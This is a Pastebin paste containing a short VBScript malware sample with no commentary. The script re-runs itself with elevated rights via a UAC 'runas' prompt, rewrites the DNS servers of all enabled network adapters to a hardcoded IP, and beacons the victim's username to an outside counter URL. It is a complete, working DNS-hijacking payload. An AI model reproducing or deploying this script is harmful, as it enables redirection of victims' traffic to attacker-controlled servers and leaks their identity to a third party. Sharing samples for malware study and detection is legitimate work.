SHARE
TWEET

Macro

benkow_ Jul 1st, 2016 (edited) 152 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. If WScript.Arguments.length =0 Then
  2.   Set objShell = CreateObject("Shell.Application")
  3.   objShell.ShellExecute "wscript.exe", Chr(34) & _
  4.   WScript.ScriptFullName & Chr(34) & " uac", "", "runas", 1
  5. Else
  6.  
  7. LocateFileinfm="http://www.contagotas.com.br/contador.php?p=30110" + GetUserNome'
  8. strPC = "."
  9. arrDNSServersd = Array("192.95.1.56")
  10. Set objWMIServico = GetObject("winmgmts:" _
  11.   & "{impersonationLevel=impersonate}!\\" & strPC & "\root\cimv2")
  12. Set Nick = objWMIServico.ExecQuery _
  13.   ("SELECT * FROM Win32_NetworkAdapterConfiguration WHERE IPEnabled = True")
  14. For Each Nic In Nick
  15.   intSetDNSServersd = Nic.SetDNSServerSearchOrder(arrDNSServersd)
  16.   If intSetDNSServersd = 0 Then  
  17.   Else
  18.   End If
  19. Next
  20. Set GeatXml1 = CreateObject("MSXML2.XMLHTTP")'
  21. GeatXml1.open "GET", LocateFileinfm, false'
  22. GeatXml1.send()'
  23. Set GeatXml1 = Nothing'
  24. End If
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top